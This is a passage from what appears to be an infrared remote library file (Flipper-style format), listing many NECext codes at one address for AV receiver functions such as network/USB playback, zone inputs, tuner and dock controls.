00 -command: 30 00 00 00 -# -name: USB_MENU_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 30 00 00 00 -# -name: NET:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 30 00 00 00 -# -name: NET:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 30 00 00 00 -# -name: SETUP:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 30 00 00 00 -# -name: NET_CURSOR_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 31 00 00 00 -# -name: NET:_CURSOR_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 31 00 00 00 -# -name: NAV_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 31 00 00 00 -# -name: NET/USB_NAV_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 31 00 00 00 -# -name: USB_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 31 00 00 00 -# -name: NET_SETUP:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 31 00 00 00 -# -name: NET:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 31 00 00 00 -# -name: SETUP:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 31 00 00 00 -# -name: NET_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 32 00 00 00 -# -name: NET:_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 32 00 00 00 -# -name: NAV_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 32 00 00 00 -# -name: NET/USB_NAV_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 32 00 00 00 -# -name: USB_MENU_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 32 00 00 00 -# -name: NET:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 32 00 00 00 -# -name: SETUP:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 32 00 00 00 -# -name: NET_MEM -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 33 00 00 00 -# -name: NET:_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 33 00 00 00 -# -name: NET/USB_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 33 00 00 00 -# -name: USB_RETURN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 33 00 00 00 -# -name: HD_RAD_SETUP:_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 33 00 00 00 -# -name: NET:_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 33 00 00 00 -# -name: HD_RAD_SETUP:_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 33 00 00 00 -# -name: NET_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 34 00 00 00 -# -name: NET:_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 34 00 00 00 -# -name: NAV_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 34 00 00 00 -# -name: NET/USB_NAV_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 34 00 00 00 -# -name: USB_MENU_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 34 00 00 00 -# -name: NET:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 34 00 00 00 -# -name: NET:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 34 00 00 00 -# -name: SETUP:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 34 00 00 00 -# -name: NET_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 35 00 00 00 -# -name: NET:_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 35 00 00 00 -# -name: NAV_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 35 00 00 00 -# -name: USB_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 35 00 00 00 -# -name: NET_REC(PC/MCX) -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 36 00 00 00 -# -name: NET_INPUT:_PC/MCX -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 36 00 00 00 -# -name: NET:_PC/MCX -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 36 00 00 00 -# -name: NET:_REC -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 36 00 00 00 -# -name: NET_REW_(RADIO) -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 37 00 00 00 -# -name: NET_INPUT:_NET_RADIO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 37 00 00 00 -# -name: NET:_IRADIO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 37 00 00 00 -# -name: NET:_REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 37 00 00 00 -# -name: NET_FF(USB) -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 38 00 00 00 -# -name: NET_INPUT:_USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 38 00 00 00 -# -name: NET:_FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 38 00 00 00 -# -name: NET:_USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 38 00 00 00 -# -name: NET_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3A 00 00 00 -# -name: NET:_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3A 00 00 00 -# -name: NET:_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3A 00 00 00 -# -name: NET_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3B 00 00 00 -# -name: NET:_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3B 00 00 00 -# -name: NET:_SKIP- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3B 00 00 00 -# -name: NET/USB_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3B 00 00 00 -# -name: USB_SKIP_BACK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3B 00 00 00 -# -name: NET_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3C 00 00 00 -# -name: NET:_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3C 00 00 00 -# -name: NET:_SKIP+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3C 00 00 00 -# -name: PROGRAM_SELECT_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3C 00 00 00 -# -name: NET/USB_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3C 00 00 00 -# -name: USB_SKIP_FORWARD -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3C 00 00 00 -# -name: NET_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3D 00 00 00 -# -name: NET:_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3D 00 00 00 -# -name: PROGRAM_SELECT_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3D 00 00 00 -# -name: NET/USB_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3D 00 00 00 -# -name: USB_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3D 00 00 00 -# -name: NET_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3E 00 00 00 -# -name: NET:_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3E 00 00 00 -# -name: NET/USB_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3E 00 00 00 -# -name: USB_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3E 00 00 00 -# -name: NET:_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3E 00 00 00 -# -name: INPUT_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3F 00 00 00 -# -name: INPUT_USB-NET -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3F 00 00 00 -# -name: MZ_IN:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3F 00 00 00 -# -name: Z2_IN:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3F 00 00 00 -# -name: MZ:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3F 00 00 00 -# -name: INP_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3F 00 00 00 -# -name: USB_INPUT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3F 00 00 00 -# -name: MZ:_INP_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 3F 00 00 00 -# -name: Z2_IN_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 40 00 00 00 -# -name: ZONE2_INPUT_USB-NET -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 40 00 00 00 -# -name: Z3_IN:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 40 00 00 00 -# -name: Z2:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 40 00 00 00 -# -name: DOCK_SIMPL_REMOTE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 40 00 00 00 -# -name: INP_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 40 00 00 00 -# -name: DOCK_SIMPLE_REMOT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 40 00 00 00 -# -name: Z2:_INP_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 40 00 00 00 -# -name: Z2_INP:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 40 00 00 00 -# -name: Z2_INP:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 40 00 00 00 -# -name: Z3_IN_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 41 00 00 00 -# -name: ZONE3_INPUT_USB-NET -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 41 00 00 00 -# -name: Z3:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 41 00 00 00 -# -name: DOCK_MENU_BROWSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 41 00 00 00 -# -name: INP_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 41 00 00 00 -# -name: Z3:_INP_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 41 00 00 00 -# -name: Z3_INP:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 41 00 00 00 -# -name: Z3_INP:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 41 00 00 00 -# -name: DOCK_PAGE_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 42 00 00 00 -# -name: IPOD:_PAGE_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 42 00 00 00 -# -name: IPOD:_PAGE_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 42 00 00 00 -# -name: DOCK_PAGE_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 43 00 00 00 -# -name: IPOD:_PAGE_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 43 00 00 00 -# -name: IPOD:_PAGE_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 43 00 00 00 -# -name: NET_PAGE_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 44 00 00 00 -# -name: NET:_PAGE_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 44 00 00 00 -# -name: NET:_PAGE_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 44 00 00 00 -# -name: NET_PAGE_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 45 00 00 00 -# -name: NET:_PAGE_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 45 00 00 00 -# -name: NET:_PAGE_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 45 00 00 00 -# -name: NET_BOOK_MARK_ON -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 46 00 00 00 -# -name: NET:_BOOKMARK_ON -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 46 00 00 00 -# -name: NET:_BOOKMARK_ON -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 46 00 00 00 -# -name: NET_BOOK_MARK_OFF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 47 00 00 00 -# -name: NET:_BOOKMARK_OFF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 47 00 00 00 -# -name: NET:_BOOKMARK_OFF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 47 00 00 00 -# -name: INPUT_RHAPSODY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 48 00 00 00 -# -name: INP_RHAPSODY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 48 00 00 00 -# -name: MZ_INP:_RHAPSODY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 48 00 00 00 -# -name: MZ_INP:_RHAPSODY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 48 00 00 00 -# -name: INP_SIRIUS_INTERNET -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 49 00 00 00 -# -name: Z4:_INP_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 49 00 00 00 -# -name: MZ_INP:_SIRIUS_INTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 49 00 00 00 -# -name: MZ_INP:_SIRIUS_INTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 49 00 00 00 -# -name: Z4_INP:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 49 00 00 00 -# -name: Z4_INP:_NET/USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 49 00 00 00 -# -name: INPUT_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4A 00 00 00 -# -name: INP_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4A 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4A 00 00 00 -# -name: DOCK_INPUT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4A 00 00 00 -# -name: MZ:_INP_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4A 00 00 00 -# -name: MZ_INP:_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4A 00 00 00 -# -name: MZ_INP:_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4A 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4B 00 00 00 -# -name: INP_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4B 00 00 00 -# -name: Z2:_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4B 00 00 00 -# -name: Z2_INPUT_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4B 00 00 00 -# -name: Z2:_INP_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4B 00 00 00 -# -name: Z2_INP:_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4B 00 00 00 -# -name: Z2_INP:_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4B 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4C 00 00 00 -# -name: INP_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4C 00 00 00 -# -name: Z3:_INP_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4C 00 00 00 -# -name: Z3_INP:_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4C 00 00 00 -# -name: Z3_INP:_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4C 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4D 00 00 00 -# -name: Z4:_INP_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4D 00 00 00 -# -name: Z4_INP:_DOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4D 00 00 00 -# -name: DOCK_PAIRING -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4E 00 00 00 -# -name: DOCK_PAIRING_CANCL -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4F 00 00 00 -# -name: DOCK_PARING_CANCEL -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 4F 00 00 00 -# -name: DOCK_CONNECT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 50 00 00 00 -# -name: DOCK_DISCONNECT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 51 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 51 00 00 00 -# -name: SRCE:_MZ_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 51 00 00 00 -# -name: INPUT_PC -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 52 00 00 00 -# -name: INP_PC/MCX -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 52 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 52 00 00 00 -# -name: SRCE:_MZ_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 52 00 00 00 -# -name: MZ_INP:_PC/MCX -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 52 00 00 00 -# -name: MZ_INP:_PC/MCX -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 52 00 00 00 -# -name: INPUT_NET_RADIO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 53 00 00 00 -# -name: INP_NET_RADIO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 53 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 53 00 00 00 -# -name: SRCE:_MZ_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 53 00 00 00 -# -name: MZ_INP:_NET_RADIO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 53 00 00 00 -# -name: MZ_INP:_NET_RADIO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 53 00 00 00 -# -name: Z2_SOURCE:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 53 00 00 00 -# -name: INPUT_USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 54 00 00 00 -# -name: INP_USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 54 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 54 00 00 00 -# -name: SRCE:_MZ_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 54 00 00 00 -# -name: MZ_INP:_USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 54 00 00 00 -# -name: MZ_INP:_USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 54 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 55 00 00 00 -# -name: SOURCE:_CAT./BAND+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 55 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 55 00 00 00 -# -name: MZ_OP-CAT_BAND_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 55 00 00 00 -# -name: SRCE:_MZ_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 55 00 00 00 -# -name: Z2_SOURCE:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 55 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 56 00 00 00 -# -name: Z2:SOURC:_CAT/BAND_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 56 00 00 00 -# -name: Z2_OP-CAT_BAND_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 56 00 00 00 -# -name: SRCE:_MZ_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 56 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 57 00 00 00 -# -name: SRCE:_MZ_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 57 00 00 00 -# -name: Z2_SOURCE:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 57 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 58 00 00 00 -# -name: SOURCE:_CAT./BAND- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 58 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 58 00 00 00 -# -name: MZ_OP-CAT_BAND_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 58 00 00 00 -# -name: SRCE:_MZ_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 58 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 59 00 00 00 -# -name: Z2:SOURC:_CAT/BAND_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 59 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 59 00 00 00 -# -name: Z2_OP-CAT_BAND_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 59 00 00 00 -# -name: SRCE:_MZ_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 59 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5A 00 00 00 -# -name: SRCE:_MZ_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5A 00 00 00 -# -name: SOURCE:_PRESET+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5B 00 00 00 -# -name: MZ_OP-PRESET_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5B 00 00 00 -# -name: Z2:_SOURCE:PRESET_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5C 00 00 00 -# -name: Z2_OP-PRESET_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5C 00 00 00 -# -name: TUNER:_MZ_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5C 00 00 00 -# -name: XM:_MZ_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5C 00 00 00 -# -name: PARENTAL_LOCK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5D 00 00 00 -# -name: MODE_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5D 00 00 00 -# -name: TUNER:_MZ_BAND -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5D 00 00 00 -# -name: XM:_MZ_TITLE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5D 00 00 00 -# -name: MODE_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5E 00 00 00 -# -name: SOURCE:_PRESET- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5E 00 00 00 -# -name: MZ_OP-PRESET_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5E 00 00 00 -# -name: DOCK:_MZ_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5E 00 00 00 -# -name: NETUSB:_MZ_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5E 00 00 00 -# -name: TUNER:_MZ_SRCHM -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5E 00 00 00 -# -name: XM:_MZ_SRCH_MODE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5E 00 00 00 -# -name: MODE_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5F 00 00 00 -# -name: Z2:_SOURCE:PRESET_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5F 00 00 00 -# -name: Z2_OP-PRESET_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5F 00 00 00 -# -name: SRCE:_MZ_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 5F 00 00 00 -# -name: MODE_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 60 00 00 00 -# -name: SOURCE:_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 60 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 60 00 00 00 -# -name: MZ_SOURCE_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 60 00 00 00 -# -name: SRCE:_MZ_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 60 00 00 00 -# -name: SETUP_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 61 00 00 00 -# -name: SOURCE:TUNING/CH+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 61 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 61 00 00 00 -# -name: MZ_OP-TUNING_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 61 00 00 00 -# -name: SRCE:_MZ_CURS_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 61 00 00 00 -# -name: SETUP:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 61 00 00 00 -# -name: SETUP_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 62 00 00 00 -# -name: Z2:SOURCE:TUNING/CH+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 62 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 62 00 00 00 -# -name: Z2_OP-TUNING_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 62 00 00 00 -# -name: SRCE:_MZ_CURS_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 62 00 00 00 -# -name: SETUP_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 63 00 00 00 -# -name: SRCE:_MZ_CURS_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 63 00 00 00 -# -name: SETUP:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 63 00 00 00 -# -name: SETUP_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 64 00 00 00 -# -name: SOURCE:TUNING/CH- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 64 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 64 00 00 00 -# -name: MZ_OP-TUNING_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 64 00 00 00 -# -name: SRCE:_MZ_CURS_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 64 00 00 00 -# -name: SETUP:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 64 00 00 00 -# -name: SETUP_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 65 00 00 00 -# -name: Z2:SOURCE:TUNING/CH- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 65 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 65 00 00 00 -# -name: Z2_OP-TUNING_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 65 00 00 00 -# -name: SRCE:_MZ_CURS_DN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 65 00 00 00 -# -name: SETUP:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 65 00 00 00 -# -name: SETUP:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 65 00 00 00 -# -name: NETUSB:_MZ_PC/MC -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 66 00 00 00 -# -name: OPERATION_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 67 00 00 00 -# -name: SOURCE:_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 67 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 67 00 00 00 -# -name: MZ_SOURCE_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 67 00 00 00 -# -name: DOCK:_MZ_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 67 00 00 00 -# -name: OPERATION_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 68 00 00 00 -# -name: DOCK:_MZ_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 68 00 00 00 -# -name: NETUSB:_MZ_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 68 00 00 00 -# -name: OPERATION_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 69 00 00 00 -# -name: DOCK:_MZ_STOP -type: parsed -protocol: NECext 